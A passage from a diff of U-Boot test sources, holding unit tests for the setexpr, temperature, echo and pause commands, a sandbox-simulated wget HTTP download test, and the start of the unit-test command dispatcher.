+SETEXPR_TEST(setexpr_test_int, UT_TESTF_CONSOLE_REC);
+
+/* Test 'setexpr' command with + operator */
+static int setexpr_test_plus(struct unit_test_state *uts)
+{
+ char *buf;
+
+ buf = map_sysmem(0, BUF_SIZE);
+ memset(buf, '\xff', BUF_SIZE);
+
+ /* byte */
+ buf[0x0] = 0x12;
+ buf[0x10] = 0x34;
+ ut_assertok(run_command("setexpr.b fred *0 + *10", 0));
+ ut_asserteq_str("46", env_get("fred"));
+
+ /* 16-bit */
+ *(short *)buf = 0x2345;
+ *(short *)(buf + 0x10) = 0xf012;
+ ut_assertok(run_command("setexpr.w fred *0 + *10", 0));
+ ut_asserteq_str("11357", env_get("fred"));
+
+ /* 32-bit */
+ *(u32 *)buf = 0x3456789a;
+ *(u32 *)(buf + 0x10) = 0xc3384235;
+ ut_assertok(run_command("setexpr.l fred *0 + *10", 0));
+ ut_asserteq_str("f78ebacf", env_get("fred"));
+
+ /* 64-bit */
+ *(u64 *)buf = 0x456789abcdef0123;
+ *(u64 *)(buf + 0x10) = 0x4987328372849283;
+ ut_assertok(run_command("setexpr.q fred *0 + *10", 0));
+ ut_asserteq_str("8eeebc2f407393a6", env_get("fred"));
+
+ /* default */
+ ut_assertok(run_command("setexpr fred *0 + *10", 0));
+ ut_asserteq_str("1407393a6", env_get("fred"));
+
+ unmap_sysmem(buf);
+
+ return 0;
+}
+SETEXPR_TEST(setexpr_test_plus, UT_TESTF_CONSOLE_REC);
+
+/* Test 'setexpr' command with other operators */
+static int setexpr_test_oper(struct unit_test_state *uts)
+{
+ char *buf;
+
+ buf = map_sysmem(0, BUF_SIZE);
+ memset(buf, '\xff', BUF_SIZE);
+
+ *(u32 *)buf = 0x1234;
+ *(u32 *)(buf + 0x10) = 0x560000;
+
+ /* Quote | to avoid confusing hush */
+ ut_assertok(run_command("setexpr fred *0 \"|\" *10", 0));
+ ut_asserteq_str("561234", env_get("fred"));
+
+ *(u32 *)buf = 0x561200;
+ *(u32 *)(buf + 0x10) = 0x1234;
+
+ /* Quote & to avoid confusing hush */
+ ut_assertok(run_command("setexpr.l fred *0 \"&\" *10", 0));
+ ut_asserteq_str("1200", env_get("fred"));
+
+ ut_assertok(run_command("setexpr.l fred *0 ^ *10", 0));
+ ut_asserteq_str("560034", env_get("fred"));
+
+ ut_assertok(run_command("setexpr.l fred *0 - *10", 0));
+ ut_asserteq_str("55ffcc", env_get("fred"));
+
+ ut_assertok(run_command("setexpr.l fred *0 * *10", 0));
+ ut_asserteq_str("61ebfa800", env_get("fred"));
+
+ ut_assertok(run_command("setexpr.l fred *0 / *10", 0));
+ ut_asserteq_str("4ba", env_get("fred"));
+
+ ut_assertok(run_command("setexpr.l fred *0 % *10", 0));
+ ut_asserteq_str("838", env_get("fred"));
+
+ unmap_sysmem(buf);
+
+ return 0;
+}
+SETEXPR_TEST(setexpr_test_oper, UT_TESTF_CONSOLE_REC);
+
+/* Test 'setexpr' command with regex */
+static int setexpr_test_regex(struct unit_test_state *uts)
+{
+ char *buf, *val;
+
+ buf = map_sysmem(0, BUF_SIZE);
+
+ /* Single substitution */
+ ut_assertok(run_command("setenv fred 'this is a test'", 0));
+ ut_assertok(run_command("setexpr fred sub is us", 0));
+ val = env_get("fred");
+ ut_asserteq_str("thus is a test", val);
+
+ /* Global substitution */
+ ut_assertok(run_command("setenv fred 'this is a test'", 0));
+ ut_assertok(run_command("setexpr fred gsub is us", 0));
+ val = env_get("fred");
+ ut_asserteq_str("thus us a test", val);
+
+ /* Global substitution */
+ ut_assertok(run_command("setenv fred 'this is a test'", 0));
+ ut_assertok(run_command("setenv mary 'this is a test'", 0));
+ ut_assertok(run_command("setexpr fred gsub is us \"${mary}\"", 0));
+ val = env_get("fred");
+ ut_asserteq_str("thus us a test", val);
+ val = env_get("mary");
+ ut_asserteq_str("this is a test", val);
+
+ /* No match */
+ ut_assertok(run_command("setenv fred 'this is a test'", 0));
+ ut_assertok(run_command("setenv mary ''", 0));
+ ut_assertok(run_command("setexpr fred gsub us is \"${fred}\"", 0));
+ ut_assertok(run_command("setexpr mary gsub us is \"${fred}\"", 0));
+ val = env_get("fred");
+ ut_asserteq_str("this is a test", val);
+ val = env_get("mary");
+ ut_asserteq_str("this is a test", val);
+
+ unmap_sysmem(buf);
+
+ return 0;
+}
+SETEXPR_TEST(setexpr_test_regex, UT_TESTF_CONSOLE_REC);
+
+/* Test 'setexpr' command with regex replacement that expands the string */
+static int setexpr_test_regex_inc(struct unit_test_state *uts)
+{
+ char *buf, *val;
+
+ buf = map_sysmem(0, BUF_SIZE);
+
+ ut_assertok(run_command("setenv fred 'this is a test'", 0));
+ ut_assertok(run_command("setexpr fred gsub is much_longer_string", 0));
+ val = env_get("fred");
+ ut_asserteq_str("thmuch_longer_string much_longer_string a test", val);
+ unmap_sysmem(buf);
+
+ return 0;
+}
+SETEXPR_TEST(setexpr_test_regex_inc, UT_TESTF_CONSOLE_REC);
+
+/* Test setexpr_regex_sub() directly to check buffer usage */
+static int setexpr_test_sub(struct unit_test_state *uts)
+{
+ char *buf, *nbuf;
+ int i;
+
+ buf = map_sysmem(0, BUF_SIZE);
+ nbuf = map_sysmem(0x1000, BUF_SIZE);
+
+ /* Add a pattern so we can check the buffer limits */
+ memset(buf, '\xff', BUF_SIZE);
+ memset(nbuf, '\xff', BUF_SIZE);
+ for (i = BUF_SIZE; i < 0x1000; i++) {
+ buf[i] = i & 0xff;
+ nbuf[i] = i & 0xff;
+ }
+ strcpy(buf, "this is a test");
+
+ /*
+ * This is a regression test, since a bug was found in the use of
+ * memmove() in setexpr
+ */
+ ut_assertok(setexpr_regex_sub(buf, BUF_SIZE, nbuf, BUF_SIZE, "is",
+ "us it is longer", true));
+ ut_asserteq_str("thus it is longer us it is longer a test", buf);
+ for (i = BUF_SIZE; i < 0x1000; i++) {
+ ut_assertf(buf[i] == (char)i,
+ "buf byte at %x should be %02x, got %02x)\n",
+ i, i & 0xff, (u8)buf[i]);
+ ut_assertf(nbuf[i] == (char)i,
+ "nbuf byte at %x should be %02x, got %02x)\n",
+ i, i & 0xff, (u8)nbuf[i]);
+ }
+
+ unmap_sysmem(buf);
+
+ return 0;
+}
+SETEXPR_TEST(setexpr_test_sub, UT_TESTF_CONSOLE_REC);
+
+/* Test setexpr_regex_sub() with back references */
+static int setexpr_test_backref(struct unit_test_state *uts)
+{
+ char *buf, *nbuf;
+ int i;
+
+ buf = map_sysmem(0, BUF_SIZE);
+ nbuf = map_sysmem(0x1000, BUF_SIZE);
+
+ /* Add a pattern so we can check the buffer limits */
+ memset(buf, '\xff', BUF_SIZE);
+ memset(nbuf, '\xff', BUF_SIZE);
+ for (i = BUF_SIZE; i < 0x1000; i++) {
+ buf[i] = i & 0xff;
+ nbuf[i] = i & 0xff;
+ }
+ strcpy(buf, "this is surely a test is it? yes this is indeed a test");
+
+ /*
+ * This is a regression test, since a bug was found in the use of
+ * memmove() in setexpr
+ */
+ ut_assertok(setexpr_regex_sub(buf, BUF_SIZE, nbuf, BUF_SIZE,
+ "(this) (is) (surely|indeed)",
+ "us \\1 \\2 \\3!", true));
+ ut_asserteq_str("us this is surely! a test is it? yes us this is indeed! a test",
+ buf);
+
+ for (i = BUF_SIZE; i < 0x1000; i++) {
+ ut_assertf(buf[i] == (char)i,
+ "buf byte at %x should be %02x, got %02x)\n",
+ i, i & 0xff, (u8)buf[i]);
+ ut_assertf(nbuf[i] == (char)i,
+ "nbuf byte at %x should be %02x, got %02x)\n",
+ i, i & 0xff, (u8)nbuf[i]);
+ }
+
+ unmap_sysmem(buf);
+
+ return 0;
+}
+SETEXPR_TEST(setexpr_test_backref, UT_TESTF_CONSOLE_REC);
+
+/* Test 'setexpr' command with setting strings */
+static int setexpr_test_str(struct unit_test_state *uts)
+{
+ ulong start_mem;
+ char *buf;
+
+ buf = map_sysmem(0, BUF_SIZE);
+ memset(buf, '\xff', BUF_SIZE);
+
+ /*
+ * Set 'fred' to the same length as we expect to get below, to avoid a
+ * new allocation in 'setexpr'. That way we can check for memory leaks.
+ */
+ ut_assertok(env_set("fred", "x"));
+ start_mem = ut_check_free();
+ strcpy(buf, "hello");
+ ut_asserteq(1, run_command("setexpr.s fred 0", 0));
+ ut_assertok(ut_check_delta(start_mem));
+
+ ut_assertok(env_set("fred", "12345"));
+ start_mem = ut_check_free();
+ ut_assertok(run_command("setexpr.s fred *0", 0));
+ ut_asserteq_str("hello", env_get("fred"));
+ /*
+ * This fails in CI at present.
+ *
+ * ut_assertok(ut_check_delta(start_mem));
+ */
+
+ unmap_sysmem(buf);
+
+ return 0;
+}
+SETEXPR_TEST(setexpr_test_str, UT_TESTF_CONSOLE_REC);
+
+
+/* Test 'setexpr' command with concatenating strings */
+static int setexpr_test_str_oper(struct unit_test_state *uts)
+{
+ ulong start_mem;
+ char *buf;
+
+ buf = map_sysmem(0, BUF_SIZE);
+ memset(buf, '\xff', BUF_SIZE);
+ strcpy(buf, "hello");
+ strcpy(buf + 0x10, " there");
+
+ ut_assertok(console_record_reset_enable());
+ start_mem = ut_check_free();
+ ut_asserteq(1, run_command("setexpr.s fred *0 * *10", 0));
+ ut_assertok(ut_check_delta(start_mem));
+ ut_assert_nextline("invalid op");
+ ut_assert_console_end();
+
+ /*
+ * Set 'fred' to the same length as we expect to get below, to avoid a
+ * new allocation in 'setexpr'. That way we can check for memory leaks.
+ */
+ ut_assertok(env_set("fred", "12345012345"));
+ start_mem = ut_check_free();
+ ut_assertok(run_command("setexpr.s fred *0 + *10", 0));
+ ut_asserteq_str("hello there", env_get("fred"));
+
+ /*
+ * This check does not work with sandbox_flattree, apparently due to
+ * memory allocations in env_set().
+ *
+ * The truetype console produces lots of memory allocations even though
+ * the LCD display is not visible. But even without these, it does not
+ * work.
+ *
+ * A better test would be for dlmalloc to record the allocs and frees
+ * for a particular caller, but that is not supported.
+ *
+ * For now, drop this test.
+ *
+ * ut_assertok(ut_check_delta(start_mem));
+ */
+
+ unmap_sysmem(buf);
+
+ return 0;
+}
+SETEXPR_TEST(setexpr_test_str_oper, UT_TESTF_CONSOLE_REC);
+
+/* Test 'setexpr' command with a string that is too long */
+static int setexpr_test_str_long(struct unit_test_state *uts)
+{
+ const int size = 128 << 10; /* setexpr strings are a max of 64KB */
+ char *buf, *val;
+
+ buf = map_sysmem(0, size);
+ memset(buf, 'a', size);
+
+ /* String should be truncated to 64KB */
+ ut_assertok(run_command("setexpr.s fred *0", 0));
+ val = env_get("fred");
+ ut_asserteq(64 << 10, strlen(val));
+
+ unmap_sysmem(buf);
+
+ return 0;
+}
+SETEXPR_TEST(setexpr_test_str_long, UT_TESTF_CONSOLE_REC);
+
+#ifdef CONFIG_CMD_SETEXPR_FMT
+/* Test 'setexpr' command with simply setting integers */
+static int setexpr_test_fmt(struct unit_test_state *uts)
+{
+ u8 *buf;
+
+ buf = map_sysmem(0, BUF_SIZE);
+ memset(buf, '\xff', BUF_SIZE);
+
+ /* Test decimal conversion */
+ ut_assertok(run_command("setexpr fred fmt %d 0xff", 0));
+ ut_asserteq_str("255", env_get("fred"));
+ /* Test hexadecimal conversion with 0x prefix and 4 digits */
+ ut_assertok(run_command("setexpr fred fmt 0x%04x 257", 0));
+ ut_asserteq_str("0x0257", env_get("fred"));
+ /* Test octal conversion with % prefix */
+ ut_assertok(run_command("setexpr fred fmt %%%o 8", 0));
+ ut_asserteq_str("%10", env_get("fred"));
+ /* Test argument surrounded by %% */
+ ut_assertok(run_command("setexpr fred fmt %%%x%% 0xff", 0));
+ ut_asserteq_str("%ff%", env_get("fred"));
+ /* Test escape sequence */
+ ut_assertok(run_command("setexpr fred fmt \"hello\\040world\"", 0));
+ ut_asserteq_str("hello world", env_get("fred"));
+ /* Test %b with string containing octal escape sequence */
+ ut_assertok(run_command("setexpr fred fmt oh%bno \137", 0));
+ ut_asserteq_str("oh_no", env_get("fred"));
+ /* Test %b with string containing \c escape sequence */
+ ut_assertok(run_command("setexpr fred fmt hello%bworld \"\\c\"", 0));
+ ut_asserteq_str("hello", env_get("fred"));
+ /* Test multiple arguments referencing environment varialbes */
+ ut_assertok(run_command("setenv a eff", 0));
+ ut_assertok(run_command("setenv b hello", 0));
+ ut_assertok(run_command("setenv c 0x63", 0));
+ ut_assertok(run_command("setenv d world", 0));
+ ut_assertok(run_command("setexpr fred fmt \"0x%08x-%s-%d-%s\" $a $b $c $d", 0));
+ ut_asserteq_str("0x00000eff-hello-99-world", env_get("fred"));
+ /* Test with two format specifiers, but only one argument */
+ ut_assertok(run_command("setexpr fred fmt %d_%x 100", 0));
+ ut_asserteq_str("256_0", env_get("fred"));
+ /* Test maximum string length */
+ ut_assertok(run_command("setexpr fred fmt \"%0127d\" 7b", 0));
+ ut_asserteq_str("0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000123", env_get("fred"));
+ /* Test maximum unsigned integer size */
+ ut_assertok(run_command("setexpr fred fmt %u ffffffffffffffff", 0));
+ ut_asserteq_str("18446744073709551615", env_get("fred"));
+ /* Test maximum positive integer size */
+ ut_assertok(run_command("setexpr fred fmt %d 7fffffffffffffff", 0));
+ ut_asserteq_str("9223372036854775807", env_get("fred"));
+ /* Test maximum negative integer size */
+ ut_assertok(run_command("setexpr fred fmt %d 8000000000000000", 0));
+ ut_asserteq_str("-9223372036854775808", env_get("fred"));
+ /* Test minimum negative integer size */
+ ut_assertok(run_command("setexpr fred fmt %d ffffffffffffffff", 0));
+ ut_asserteq_str("-1", env_get("fred"));
+ /* Test signed value with + sign */
+ ut_assertok(run_command("setexpr fred fmt %d +5", 0));
+ ut_asserteq_str("5", env_get("fred"));
+ /* Test signed value with - sign */
+ ut_assertok(run_command("setexpr fred fmt %d -4", 0));
+ ut_asserteq_str("-4", env_get("fred"));
+ /* Test unsigned value with + sign */
+ ut_assertok(run_command("setexpr fred fmt %u +3", 0));
+ ut_asserteq_str("3", env_get("fred"));
+ /* Test unsigned value with - sign */
+ ut_assertok(run_command("setexpr fred fmt %x -2", 0));
+ ut_asserteq_str("fffffffffffffffe", env_get("fred"));
+ /* Error test with missing format specifier */
+ ut_asserteq(1, run_command("setexpr fred fmd hello 0xff", 0));
+ /* Error test with invalid format type */
+ ut_asserteq(1, run_command("setexpr fred fmt %a 0xff", 0));
+ /* Error test with incomplete format specifier */
+ ut_asserteq(1, run_command("setexpr fred fmt hello% bf", 0));
+ /* Error exceeding maximum string length */
+ ut_asserteq(1, run_command("setexpr fred fmt \"%0128d\" 456", 0));
+
+ unmap_sysmem(buf);
+
+ return 0;
+}
+
+SETEXPR_TEST(setexpr_test_fmt, UT_TESTF_CONSOLE_REC);
+#endif
+
+int do_ut_setexpr(struct cmd_tbl *cmdtp, int flag, int argc, char *const argv[])
+{
+ struct unit_test *tests = UNIT_TEST_SUITE_START(setexpr_test);
+ const int n_ents = UNIT_TEST_SUITE_COUNT(setexpr_test);
+
+ return cmd_ut_category("cmd_setexpr", "setexpr_test_", tests, n_ents,
+ argc, argv);
+}
diff --git a/test/cmd/temperature.c b/test/cmd/temperature.c
new file mode 100644
index 00000000000..364972626b1
--- /dev/null
+++ b/test/cmd/temperature.c
@@ -0,0 +1,38 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Executes tests for temperature command
+ *
+ * Copyright (C) 2022 Sartura Ltd.
+ */
+
+#include <command.h>
+#include <dm.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+static int dm_test_cmd_temperature(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(uclass_get_device(UCLASS_THERMAL, 0, &dev));
+ ut_assertnonnull(dev);
+
+ ut_assertok(console_record_reset_enable());
+
+ /* Test that "temperature list" shows the sandbox device */
+ ut_assertok(run_command("temperature list", 0));
+ ut_assert_nextline("| Device | Driver | Parent");
+ ut_assert_nextline("| thermal | thermal-sandbox | root_driver");
+ ut_assert_console_end();
+
+ /* Test that "temperature get thermal" returns expected value */
+ console_record_reset();
+ ut_assertok(run_command("temperature get thermal", 0));
+ ut_assert_nextline("thermal: 100 C");
+ ut_assert_console_end();
+
+ return 0;
+}
+
+DM_TEST(dm_test_cmd_temperature, UT_TESTF_SCAN_FDT | UT_TESTF_CONSOLE_REC);
diff --git a/test/cmd/test_echo.c b/test/cmd/test_echo.c
new file mode 100644
index 00000000000..cde74ebeb61
--- /dev/null
+++ b/test/cmd/test_echo.c
@@ -0,0 +1,60 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Tests for echo command
+ *
+ * Copyright 2020, Heinrich Schuchadt <xypron.glpk@gmx.de>
+ */
+
+#include <command.h>
+#include <asm/global_data.h>
+#include <display_options.h>
+#include <test/lib.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+DECLARE_GLOBAL_DATA_PTR;
+
+struct test_data {
+ char *cmd;
+ char *expected;
+};
+
+static struct test_data echo_data[] = {
+ {"echo 1 2 3",
+ "1 2 3"},
+ /* Test new line handling */
+ {"echo -n 1 2 3; echo a b c",
+ "1 2 3a b c"},
+ /*
+ * Test handling of environment variables.
+ *
+ * j, q, x are among the least frequent letters in English.
+ * Hence no collision for the variable name jQx is expected.
+ */
+ {"setenv jQx X; echo \"a)\" ${jQx} 'b)' '${jQx}' c) ${jQx}; setenv jQx",
+ "a) X b) ${jQx} c) X"},
+ /* Test shell variable assignments without substitutions */
+ {"foo=bar echo baz", "baz"},
+ /* Test handling of shell variables. */
+ {"setenv jQx; for jQx in 1 2 3; do echo -n \"${jQx}, \"; done; echo;",
+ "1, 2, 3, "},
+};
+
+static int lib_test_hush_echo(struct unit_test_state *uts)
+{
+ int i;
+
+ for (i = 0; i < ARRAY_SIZE(echo_data); ++i) {
+ ut_silence_console(uts);
+ console_record_reset_enable();
+ ut_assertok(run_command(echo_data[i].cmd, 0));
+ ut_unsilence_console(uts);
+ console_record_readline(uts->actual_str,
+ sizeof(uts->actual_str));
+ ut_asserteq_str(echo_data[i].expected, uts->actual_str);
+ ut_assertok(ut_check_console_end(uts));
+ }
+ return 0;
+}
+
+LIB_TEST(lib_test_hush_echo, 0);
diff --git a/test/cmd/test_pause.c b/test/cmd/test_pause.c
new file mode 100644
index 00000000000..3703290350b
--- /dev/null
+++ b/test/cmd/test_pause.c
@@ -0,0 +1,44 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Tests for pause command
+ *
+ * Copyright 2022, Samuel Dionne-Riel <samuel@dionne-riel.com>
+ */
+
+#include <asm/global_data.h>
+#include <test/lib.h>
+#include <test/ut.h>
+
+DECLARE_GLOBAL_DATA_PTR;
+
+static int lib_test_hush_pause(struct unit_test_state *uts)
+{
+ /* Test default message */
+ console_record_reset_enable();
+ /* Cook a newline when the command is expected to pause */
+ console_in_puts("\n");
+ ut_assertok(run_command("pause", 0));
+ console_record_readline(uts->actual_str, sizeof(uts->actual_str));
+ ut_asserteq_str("Press any key to continue...", uts->actual_str);
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test provided message */
+ console_record_reset_enable();
+ /* Cook a newline when the command is expected to pause */
+ console_in_puts("\n");
+ ut_assertok(run_command("pause 'Prompt for pause...'", 0));
+ console_record_readline(uts->actual_str, sizeof(uts->actual_str));
+ ut_asserteq_str("Prompt for pause...", uts->actual_str);
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test providing more than one params */
+ console_record_reset_enable();
+ /* No newline cooked here since the command is expected to fail */
+ ut_asserteq(1, run_command("pause a b", 0));
+ console_record_readline(uts->actual_str, sizeof(uts->actual_str));
+ ut_asserteq_str("pause - delay until user input", uts->actual_str);
+ ut_asserteq(1, ut_check_console_end(uts));
+
+ return 0;
+}
+LIB_TEST(lib_test_hush_pause, 0);
diff --git a/test/cmd/wget.c b/test/cmd/wget.c
new file mode 100644
index 00000000000..356a4dcd8fa
--- /dev/null
+++ b/test/cmd/wget.c
@@ -0,0 +1,205 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Copyright (c) 2022 Linaro
+ *
+ * (C) Copyright 2022
+ * Ying-Chun Liu (PaulLiu) <paul.liu@linaro.org>
+ */
+
+#include <command.h>
+#include <dm.h>
+#include <env.h>
+#include <fdtdec.h>
+#include <log.h>
+#include <malloc.h>
+#include <net.h>
+#include <net/tcp.h>
+#include <net/wget.h>
+#include <asm/eth.h>
+#include <dm/test.h>
+#include <dm/device-internal.h>
+#include <dm/uclass-internal.h>
+#include <test/lib.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+#define SHIFT_TO_TCPHDRLEN_FIELD(x) ((x) << 4)
+#define LEN_B_TO_DW(x) ((x) >> 2)
+
+static int sb_arp_handler(struct udevice *dev, void *packet,
+ unsigned int len)
+{
+ struct eth_sandbox_priv *priv = dev_get_priv(dev);
+ struct arp_hdr *arp = packet + ETHER_HDR_SIZE;
+ int ret = 0;
+
+ if (ntohs(arp->ar_op) == ARPOP_REQUEST) {
+ priv->fake_host_ipaddr = net_read_ip(&arp->ar_spa);
+
+ ret = sandbox_eth_recv_arp_req(dev);
+ if (ret)
+ return ret;
+ ret = sandbox_eth_arp_req_to_reply(dev, packet, len);
+ return ret;
+ }
+
+ return -EPROTONOSUPPORT;
+}
+
+static int sb_syn_handler(struct udevice *dev, void *packet,
+ unsigned int len)
+{
+ struct eth_sandbox_priv *priv = dev_get_priv(dev);
+ struct ethernet_hdr *eth = packet;
+ struct ip_tcp_hdr *tcp = packet + ETHER_HDR_SIZE;
+ struct ethernet_hdr *eth_send;
+ struct ip_tcp_hdr *tcp_send;
+
+ /* Don't allow the buffer to overrun */
+ if (priv->recv_packets >= PKTBUFSRX)
+ return 0;
+
+ eth_send = (void *)priv->recv_packet_buffer[priv->recv_packets];
+ memcpy(eth_send->et_dest, eth->et_src, ARP_HLEN);
+ memcpy(eth_send->et_src, priv->fake_host_hwaddr, ARP_HLEN);
+ eth_send->et_protlen = htons(PROT_IP);
+ tcp_send = (void *)eth_send + ETHER_HDR_SIZE;
+ tcp_send->tcp_src = tcp->tcp_dst;
+ tcp_send->tcp_dst = tcp->tcp_src;
+ tcp_send->tcp_seq = htonl(0);
+ tcp_send->tcp_ack = htonl(ntohl(tcp->tcp_seq) + 1);
+ tcp_send->tcp_hlen = SHIFT_TO_TCPHDRLEN_FIELD(LEN_B_TO_DW(TCP_HDR_SIZE));
+ tcp_send->tcp_flags = TCP_SYN | TCP_ACK;
+ tcp_send->tcp_win = htons(PKTBUFSRX * TCP_MSS >> TCP_SCALE);
+ tcp_send->tcp_xsum = 0;
+ tcp_send->tcp_ugr = 0;
+ tcp_send->tcp_xsum = tcp_set_pseudo_header((uchar *)tcp_send,
+ tcp->ip_src,
+ tcp->ip_dst,
+ TCP_HDR_SIZE,
+ IP_TCP_HDR_SIZE);
+ net_set_ip_header((uchar *)tcp_send,
+ tcp->ip_src,
+ tcp->ip_dst,
+ IP_TCP_HDR_SIZE,
+ IPPROTO_TCP);
+
+ priv->recv_packet_length[priv->recv_packets] =
+ ETHER_HDR_SIZE + IP_TCP_HDR_SIZE;
+ ++priv->recv_packets;
+
+ return 0;
+}
+
+static int sb_ack_handler(struct udevice *dev, void *packet,
+ unsigned int len)
+{
+ struct eth_sandbox_priv *priv = dev_get_priv(dev);
+ struct ethernet_hdr *eth = packet;
+ struct ip_tcp_hdr *tcp = packet + ETHER_HDR_SIZE;
+ struct ethernet_hdr *eth_send;
+ struct ip_tcp_hdr *tcp_send;
+ void *data;
+ int pkt_len;
+ int payload_len = 0;
+ const char *payload1 = "HTTP/1.1 200 OK\r\n"
+ "Content-Length: 30\r\n\r\n\r\n"
+ "<html><body>Hi</body></html>\r\n";
+
+ /* Don't allow the buffer to overrun */
+ if (priv->recv_packets >= PKTBUFSRX)
+ return 0;
+
+ eth_send = (void *)priv->recv_packet_buffer[priv->recv_packets];
+ memcpy(eth_send->et_dest, eth->et_src, ARP_HLEN);
+ memcpy(eth_send->et_src, priv->fake_host_hwaddr, ARP_HLEN);
+ eth_send->et_protlen = htons(PROT_IP);
+ tcp_send = (void *)eth_send + ETHER_HDR_SIZE;
+ tcp_send->tcp_src = tcp->tcp_dst;
+ tcp_send->tcp_dst = tcp->tcp_src;
+ data = (void *)tcp_send + IP_TCP_HDR_SIZE;
+
+ if (ntohl(tcp->tcp_seq) == 1 && ntohl(tcp->tcp_ack) == 1) {
+ tcp_send->tcp_seq = htonl(ntohl(tcp->tcp_ack));
+ tcp_send->tcp_ack = htonl(ntohl(tcp->tcp_seq) + 1);
+ payload_len = strlen(payload1);
+ memcpy(data, payload1, payload_len);
+ tcp_send->tcp_flags = TCP_ACK;
+ } else if (ntohl(tcp->tcp_seq) == 2) {
+ tcp_send->tcp_seq = htonl(ntohl(tcp->tcp_ack));
+ tcp_send->tcp_ack = htonl(ntohl(tcp->tcp_seq) + 1);
+ payload_len = 0;
+ tcp_send->tcp_flags = TCP_ACK | TCP_FIN;
+ }
+
+ tcp_send->tcp_hlen = SHIFT_TO_TCPHDRLEN_FIELD(LEN_B_TO_DW(TCP_HDR_SIZE));
+ tcp_send->tcp_win = htons(PKTBUFSRX * TCP_MSS >> TCP_SCALE);
+ tcp_send->tcp_xsum = 0;
+ tcp_send->tcp_ugr = 0;
+ pkt_len = IP_TCP_HDR_SIZE + payload_len;
+ tcp_send->tcp_xsum = tcp_set_pseudo_header((uchar *)tcp_send,
+ tcp->ip_src,
+ tcp->ip_dst,
+ pkt_len - IP_HDR_SIZE,
+ pkt_len);
+ net_set_ip_header((uchar *)tcp_send,
+ tcp->ip_src,
+ tcp->ip_dst,
+ pkt_len,
+ IPPROTO_TCP);
+
+ if (ntohl(tcp->tcp_seq) == 1 || ntohl(tcp->tcp_seq) == 2) {
+ priv->recv_packet_length[priv->recv_packets] =
+ ETHER_HDR_SIZE + IP_TCP_HDR_SIZE + payload_len;
+ ++priv->recv_packets;
+ }
+
+ return 0;
+}
+
+static int sb_http_handler(struct udevice *dev, void *packet,
+ unsigned int len)
+{
+ struct ethernet_hdr *eth = packet;
+ struct ip_hdr *ip;
+ struct ip_tcp_hdr *tcp;
+
+ if (ntohs(eth->et_protlen) == PROT_ARP) {
+ return sb_arp_handler(dev, packet, len);
+ } else if (ntohs(eth->et_protlen) == PROT_IP) {
+ ip = packet + ETHER_HDR_SIZE;
+ if (ip->ip_p == IPPROTO_TCP) {
+ tcp = packet + ETHER_HDR_SIZE;
+ if (tcp->tcp_flags == TCP_SYN)
+ return sb_syn_handler(dev, packet, len);
+ else if (tcp->tcp_flags & TCP_ACK && !(tcp->tcp_flags & TCP_SYN))
+ return sb_ack_handler(dev, packet, len);
+ return 0;
+ }
+ return -EPROTONOSUPPORT;
+ }
+
+ return -EPROTONOSUPPORT;
+}
+
+static int net_test_wget(struct unit_test_state *uts)
+{
+ sandbox_eth_set_tx_handler(0, sb_http_handler);
+ sandbox_eth_set_priv(0, uts);
+
+ env_set("ethact", "eth@10002000");
+ env_set("ethrotate", "no");
+ env_set("loadaddr", "0x20000");
+ ut_assertok(run_command("wget ${loadaddr} 1.1.2.2:/index.html", 0));
+
+ sandbox_eth_set_tx_handler(0, NULL);
+
+ ut_assertok(console_record_reset_enable());
+ run_command("md5sum ${loadaddr} ${filesize}", 0);
+ ut_assert_nextline("md5 for 00020000 ... 0002001f ==> 234af48e94b0085060249ecb5942ab57");
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+
+LIB_TEST(net_test_wget, 0);
diff --git a/test/cmd_ut.c b/test/cmd_ut.c
new file mode 100644
index 00000000000..4e4aa8f1cb2
--- /dev/null
+++ b/test/cmd_ut.c
@@ -0,0 +1,264 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * (C) Copyright 2015
+ * Joe Hershberger, National Instruments, joe.hershberger@ni.com
+ */
+
+#include <command.h>
+#include <console.h>
+#include <vsprintf.h>
+#include <test/suites.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+static int do_ut_all(struct cmd_tbl *cmdtp, int flag, int argc,
+ char *const argv[]);
+
+static int do_ut_info(struct cmd_tbl *cmdtp, int flag, int argc,
+ char *const argv[]);
+
+int cmd_ut_category(const char *name, const char *prefix,
+ struct unit_test *tests, int n_ents,
+ int argc, char *const argv[])
+{
+ const char *test_insert = NULL;
+ int runs_per_text = 1;
+ bool force_run = false;
+ int ret;
+
+ while (argc > 1 && *argv[1] == '-') {
+ const char *str = argv[1];
+
+ switch (str[1]) {
+ case 'r':
+ runs_per_text = dectoul(str + 2, NULL);
+ break;
+ case 'f':
+ force_run = true;
+ break;
+ case 'I':
+ test_insert = str + 2;
+ break;
+ }
+ argv++;
+ argc--;
+ }
+
+ ret = ut_run_list(name, prefix, tests, n_ents,
+ cmd_arg1(argc, argv), runs_per_text, force_run,
+ test_insert);
+
+ return ret ? CMD_RET_FAILURE : 0;
+}
+
+static struct cmd_tbl cmd_ut_sub[] = {
+ U_BOOT_CMD_MKENT(all, CONFIG_SYS_MAXARGS, 1, do_ut_all, "", ""),
+ U_BOOT_CMD_MKENT(info, 1, 1, do_ut_info, "", ""),
+#ifdef CONFIG_CMD_BDI
+ U_BOOT_CMD_MKENT(bdinfo, CONFIG_SYS_MAXARGS, 1, do_ut_bdinfo, "", ""),
+#endif
+#ifdef CONFIG_UT_BOOTSTD
+ U_BOOT_CMD_MKENT(bootstd, CONFIG_SYS_MAXARGS, 1, do_ut_bootstd,
+ "", ""),
+#endif
+#ifdef CONFIG_CMDLINE
+ U_BOOT_CMD_MKENT(cmd, CONFIG_SYS_MAXARGS, 1, do_ut_cmd, "", ""),
+#endif
+ U_BOOT_CMD_MKENT(common, CONFIG_SYS_MAXARGS, 1, do_ut_common, "", ""),
+#if defined(CONFIG_UT_DM)
